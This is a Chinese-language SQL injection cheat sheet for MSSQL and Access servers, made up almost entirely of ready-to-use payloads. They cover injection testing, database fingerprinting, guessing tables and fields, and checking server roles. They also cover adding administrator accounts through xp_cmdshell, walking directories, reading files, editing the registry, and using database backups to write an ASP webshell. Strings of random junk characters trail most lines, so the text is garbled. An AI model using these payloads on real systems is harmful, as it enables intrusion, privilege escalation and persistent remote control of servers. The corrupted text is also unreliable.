1.判断是否有注入;and 1=1 ;and 1=2 P{)D_Bi
2.初步判断是否是mssql ;and user>0 %J1'>nI!q
r:V
bjmL
3.注入参数是字符'and [查询条件] and ''=' L!xFhVA<
Q (f0S
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Dh`&B
_5 SvZ;4
5.判断数据库系统 7310'wc
E9\"@wu[d
;and (select count(*) from sysobjects)>0 mssql GbO j%
a
neu+h6#H
;and (select count(*) from msysobjects)>0 access A>gZl)c
S Q:H2vvD
:0y-n.-{
>!1]G"U
6.猜数据库 ;and (select Count(*) from [数据库名])>0 s;bGg
AHs%?5YTY;
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ,mm97I
-E\G3/*51
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 /rZk^/'
4S'e>:
9.(1)猜字段的ascii值(access) R8[VD iM6E
/UunWZ u%
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 &C
MBTY#u
qWW\d', .
(2)猜字段的ascii值(mssql) P WS8Dpb
H'3
pHb
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 R7rM$|n=o
_:\rB
10.测试权限结构(mssql) Q(<A Yu
'G65zz
dsw^$R}
E&J<qTH9
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- G)~>d/
4Vi*Qa_,y
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =b$g_+
2j4202
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &PPnI(s^K
EC$F|T0f
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- {Yxvb**
8WDL.IO
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- e*'bY;8lo
}BS
EK<W
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- vfqXHc
unj
^?fsJ
;and 1=(select IS_MEMBER('db_owner'));-- oU1N>,
VJ-t#q"
Po=:-Of:
,9G'1%z,
11.添加mssql和系统的帐户 ^e^-1s
S
agfDx^,
;exec master.dbo.sp_addlogin username;-- m>Wt'Cc
;exec master.dbo.sp_password null,username,password;-- B>E4,"
7Q{&L#;
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- b [HnhAI
x=>dmi3
;exec master.dbo.xp_cmdshell 'net user username password O=U,x-Wl
kVsX/~$
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- LiHJm-
Mm8_EjMp
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \68bXY.
_lI(!tj(
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8Q/cJ+&
Tg
O]q4
H8"RdKwg?
g&/lyQ+G
12.(1)遍历目录 *8qRdI9
RQ|K?^k
v
;create table dirs(paths varchar(100), id int) a?Fz&BE
1y[~xxgE
;insert dirs exec master.dbo.xp_dirtree 'c:\' R|Bi%q|4P
N@0/=B[n
;and (select top 1 paths from dirs)>0 c%G~HOE=B
rY Puo
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) '`}D+IQ(j
sifjmNP
G:+D1J]
>H euf"V
(2)遍历目录 Y_$!XIJ4
lz0dt<8eP
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ) 5`^@zx
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 _Iy)p{y
b6e2a/x
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Zu#^a|PE*
vKoQ!7g
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ?a+J4Zr3
[EPRBK`=
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3J4OkwqD
uAYDX<Ja9
0Q>
FFwu$S6e
13.mssql中的存储过程 :p<:0W2!
/3L4K
xp_regenumvalues 注册表根键, 子键 4UL"f<7 T
l-IA Q!d
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Tw/7P~*
} 5"Rj<
xp_regread 根键,子键,键值名 ]\ZJaU80I~
I7XM2xM
;exec xp_regread Y]&2E/oc
A\/DAVnI
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Or/YEt}
r^s$U,e#~
xp_regwrite 根键,子键, 值名, 值类型, 值 iU{\a,
>PWDo
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 V:D?i#%,z
,!AYeVq
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5#_GuL%
V+'zuX
xp_regdeletevalue 根键,子键,值名 !Y^B{bh
bneP>Bd
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 L eUp!
Z~
q="CA4
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0n{+_
=v !8i
'&AeOn
J=t}N+:F`b
14.mssql的backup创建webshell hsws7sH
S ="\ S
use model [A uA<
X|TGM
create table cmd(str image); SX?hu|g_r
`sdbo](76
insert into cmd(str) values (''); w&^Dbme
U&+lw=
backup database model to disk='c:\l.asp'; 7m(9|Y:Q.
l>Zp#+I-
@MH/efW.
XX1Iw {o9:
15.mssql内置函数 ;M#D*<ucI:
noWwX
;and (select @@version)>0 获得Windows的版本号 gU@.IOg
8(6mH'^y
;and user_name()='dbo' 判断当前系统的连接用户是不是sa >tkU+$;-
>Co@K^'
;and (select user_name())>0 爆当前系统的连接用户 rt! lc-g%/
rj eKG-Z@
;and (select db_name())>0 得到当前连接的数据库 :n}t7+(>U
UD'e%IVw
f,+ONV]5Tt
(aq^\#9btO
16.简洁的webshell XKBQH(
fJ-8$w\uL
use model t2-bw6U
Ga"<qmLMc
create table cmd(str image); nza^<DlS
SP|Dz,o
insert into cmd(str) values (''); V+y:!t`
}?d
l.=eq
backup database model to disk='g:\wwwtest\l.asp';